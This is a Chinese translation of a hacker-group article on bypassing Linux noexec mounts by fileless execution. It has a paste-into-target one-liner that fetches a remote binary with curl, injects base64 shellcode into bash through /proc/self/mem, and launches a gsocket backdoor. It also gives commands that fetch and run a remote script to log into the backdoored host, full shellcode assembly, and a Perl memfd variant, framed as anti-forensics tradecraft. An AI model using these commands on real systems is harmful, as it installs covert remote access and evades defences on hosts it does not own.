【翻译】绕过 noexec 并执行任意二进制文件

2024-11-03 00:12   重庆  

声明:该公众号分享的安全工具和项目均来源于网络,仅供安全研究与学习之用,如用于其他用途,由使用者承担全部法律及连带责任,与工具作者和本公众号无关。


原文地址:https://iq.thc.org/bypassing-noexec-and-executing-arbitrary-binaries

前言

项目地址https://github.com/hackerschoice/memexec


无文件执行是指在不触及文件系统的情况下运行可执行文件。这一概念并不新鲜,以前的研究中已有讨论。

省流:在不允许执行的 Linux 系统上(例如受限的 PHP 环境、只读文件系统或带有 noexec 挂载标志的环境)执行二进制文件。仅使用 Bash,并从 Bash 中调用 syscall(2),将 ELF 二进制文件直接通过网络传输到 Bash 的地址空间——不接触硬盘,也不使用 ptrace() 或 mmap()。

以往的许多技巧都调用了 mmap(2) 或需要 ptrace(2),因此在使用 noexec 挂载标志或禁止 ptrace 的情况下会失败。

虽然我们承认在这一领域站在前人的肩膀上,但我们提供了一种快速且可靠的无文件执行技巧,其唯一要求是 Bash 和一些核心工具(cat、cut、base64 和 dd)。

Bash 仅作为我们的 shellcode + 后门的孵化器(想想《异形》)。我们还提供了使用 Perl 或 PHP 实现相同功能的方法(不依赖 cat、cut、base64 或 dd)。此外,Perl 变体不需要访问 /proc/self/mem,因此在容器中也能工作。而 PHP 变体非常适合那些没有 Shell 访问权限和执行权限的 Web 云服务提供商。

那么,为什么你需要无文件执行呢?

  • 你没有权限在主机上写入任何位置。

  • 你有权限写入某个位置,但无法执行任何内容,而用户空间执行(ulexec 或 ld-linux.so)失败(noexec)。

  • 常见的 tmpfs 位置如 /dev/shm 被标记为 noexec。

  • 这通常被视为一种良好的运维安全/反取证实践,因为你的二进制文件在重启后不会留下痕迹。

这个执行技巧使用了社区发现的两种独立技术。

  1. 创建内存支持的文件描述符:使用 memfd_create(2) 系统调用创建一个文件描述符,该文件描述符指向完全驻留在 RAM 中的文件,不依赖于持久存储。这可以用于(临时)存储我们希望执行的文件。

  2. 通过写入 /proc/self/mem 修改进程镜像:/proc/self/mem 提供了一个简单的文件接口到进程内存,我们可以利用这一点将任意 shellcode 写入进程内存,为了实际执行 shellcode,我们可以选择由指令指针持有的内存位置,这样当 CPU 恢复执行时,我们的 shellcode 就会被执行。

将以下内容复制并粘贴到目标的 shell 中(警告,任何阅读这篇文章的人都知道用于登录系统的 SecretChangeMe。请更改!):

curl -fsSL https://thc.org/gs-demo.x86 \
| GS_SECRET=SecretChangeMe bash -c 'cd /proc/$$;exec 4>mem;base64 -d<<<SIngTTHSSIM4AHUQSIN4CCF1CUiD6AhJicLrD0iDwAjr5EyJ0E0x200x5EiDOAB1CUiDwAhJicTrBkiD6Ajr60iJ5UiB7BIEAABIuGtlcm5lbAAAagBQuD8BAABIiedIMfYPBUmJwLgAAAAAvwAAAABIiea6AAQAAA8FSInCSIP6AH4PuAEAAABMicdIieYPBevUuEIBAABMicdqAEiJ5moAVEiJ4kgxyU0xyU2J4kG4ABAAAA8FuDwAAAC/YwAAAA8FAAAAAAA=|dd bs=1 seek=$[$(cat syscall|cut -f9 -d" ")]>&4'

然后使用以下命令登录到你被后门化的系统:

S=SecretChangeMe bash -c "$(curl -fsSL https://gsocket.io/y)"

或者:

gs-netcat -i -s SecretChangeMe

现在让我们逐步分析这个技巧:

  1. 从外部源获取二进制文件/后门,并通过管道传输到 bash 的标准输入。

  2. 启动一个 Bash 进程。命令行 -c 包含 3 条命令,用分号分隔,由 Bash 依次执行:

  • Bash 切换到 /proc/$$(与 /proc/self 相同,但更短)。

  • 创建文件描述符(4)。

  • 最后一条命令包含子命令 $(cat syscall | cut -f9 -d" "),Bash 需要在调用 dd 或 base64 之前执行此子命令。Bash 通过分叉并在 wait(2) 系统调用中等待子进程完成来执行此子命令。在等待期间,父 Bash 的指令指针可以通过 /proc/$$/syscall 获取——这是 wait(2) 系统调用的地址,位于 libc 内部。

  • 生成的子进程输出此指令指针。随后,dd 将使用此地址作为命令行选项,覆盖 wait() 系统调用的存根(例如,libc 中的 .text 段的某个位置)。

  • 一个 base64 编码的 shellcode 被解码并通过管道传输给 dd。

  • 然后,dd 定位到步骤 4 中的内存位置,并将 shellcode 从标准输入复制到进程的内存(使用步骤 2 中打开的文件描述符)。

  • Bash 再次在相同的 wait(2) 系统调用中等待 base64 和 dd 完成执行。这一点很重要。

  • Bash 不知道在等待期间,它自己的 .text 段已经被我们的 shellcode 替换——在 Bash 正在等待的那个位置。

    1. 一旦 shellcode 被写入进程内存并且最后一个由 Bash 执行的程序(即 dd)退出,控制权将返回到 Bash。执行从指令指针所持有的内存位置恢复,然而我们已经用我们的 shellcode 替换了该位置。现在执行的是我们的 shellcode。

    现在看看 shellcode 本身,以及它如何执行我们的二进制文件

    section .text
       global _start

    _start:
       ; 创建一个缓冲区
       mov rbp, rsp
       sub rsp, 1042

       ; 创建内存文件描述符
       mov  rax, 0x6c656e72656b    ; kernel
       push 0
       push rax
       mov rax, 319           ; memfd_create
       mov rdi, rsp           ; 名称 - kernel
       xor rsi, rsi           ; 不使用 MFD_CLOEXEC
       syscall
       mov r8, rdx            ; 保存 memfd 编号

    loop:
       mov rax, 0             ; read
       mov rdi, 0             ; stdin
       mov rsi, rsp           ; 缓冲区指针
       mov rdx, 1024          ; 每次读取的字节数
       syscall
       mov rdx, rax           ; 将读取的字节数存入 rdx

       ; 检查是否到达文件末尾
       cmp rdx, 0
       jle exit               ; 如果读取的字节数为 0,关闭文件

       ; 将数据写入 mem_fd
       mov rax, 1
       mov rdi, r8           ; mem_fd 编号
       mov rsi, rsp          ; 缓冲区
       ; rdx 已经存储了之前读取的字节数
       syscall

       jmp loop

    exit:
       ; execveat 执行 memfd 中的程序
       mov     rax, 322    ; execveat
       mov     rdi, r8     ; memfd
       push    0
       mov     rsi, rsp    ; 路径(空字符串)
       push    0
       push    rsp
       mov     rdx, rsp    ; ARGV(指向包含指向空字符串的指针的数组的指针)
       mov     r8, 4096    ; AT_EMPTY_PATH
       syscall

       ; 退出程序
       mov rax, 60                       ; sys_exit
       mov rdi, 99                       ; 退出代码 99
       syscall

    使用 memfd_create 系统调用创建一个内存支持的文件描述符。

    在循环中,将二进制文件的内容从标准输入复制到内存支持的文件描述符(记住——我们通过标准输入将二进制传递给 bash)。

    一旦二进制文件完全复制到内存文件描述符中,就使用 execveat[6] 来运行存储在内存文件描述符中的二进制文件。

    Perl 和 PHP 变体

    Perl 原生支持系统调用:我们不

    需要 shellcode。不需要覆盖任何正在运行的进程内存。不需要访问 /proc/self/mem,并且在 ptrace 不可用时也能工作:

    perl '-efor(319,279){($f=syscall$_,$",1)>0&&last}; \
      open($o,">&=".$f); \
      print$o(<STDIN>); \
      exec{"/proc/$$/fd/$f"}X,@ARGV' -- "$@"

    测试cat /usr/bin/uname | per '....' -a

    PHP 不允许分叉。因此我们使用 PHP 的 fgets() 来读取 /proc/$$/syscall,并在 libc 的 fgets 存根之后覆盖 .text 段。稍后,我们需要再次调用 fgets() 来触发我们在读取(2)系统调用返回后执行的 shellcode(libc 的 fgets 调用 read(2) 系统调用)。

    后续工作

    我们版本的 shellcode 仅在 x86_64 机器上工作,其他架构还有很多,我们相信 x86 和 arm 的版本会很有用,我们将此留给社区作为练习。如果你制作了其他架构的版本,请在这里提交 PR。

    此技巧可能不工作情况

    • 当访问 /proc/self/mem 被限制时,只有 Perl 变体会工作(例如,在容器内)。

    • 当 SELinux 或 GRSecurity 存在时,可能会限制对 memfd_create 的访问。

    防范措施

    此技巧(稍作修改)在仅提供 ptrace()、mmap() 或 memfd_create() 之一的情况下也有效(禁用 ptrace 也将导致 /proc/self/mem 返回 -EPERM)。可能还有许多其他技巧可以实现相同的效果……请问问你的蓝队,祝好运。

    备注和参考

    • 它确实调用 mmap(),但不是在任何非 exec 挂载点的位置(这将失败),而是在内存文件描述符上,因此我们没问题。

    • 无文件执行由 tmpout.sh:https://tmpout.sh/3/10.html 提出,grugq (2004) - 链接1:https://seclists.org/bugtraq/2004/Jan/2, 链接2:https://phrack.org/issues/62/8.html#article

    • 好吧,人们仍然可以获得内存快照。

    • 文档对 memfd 页面是否可以被交换到磁盘保持沉默。

    • 有理由认为 SELinux 和 GRSecurity 可能不想限制 memfd 的使用,见 https://www.rapid7.com/blog/post/2019/12/24/memory-laundering-is-cleaner-better/

    • execve 可以代替 execveat,但这需要 memfd 的确切路径(例如:/proc/self/fd/4),处理字符串在汇编中很麻烦,@skyper 建议使用 execveat 技巧,它可以直接接受创建的 fd 编号。

    • 我们在 https://x.com/David3141593/status/1386678449604108289 找到 /proc/self/mem 的技巧。

    • wait*() 系统调用会暂停调用线程的执行,直到其子线程之一终止。(来自手册页)。


    安全视安
    欢迎关注我的公众号!在这里,我们汇集了三大主题:文学、情感与网络安全。
     最新文章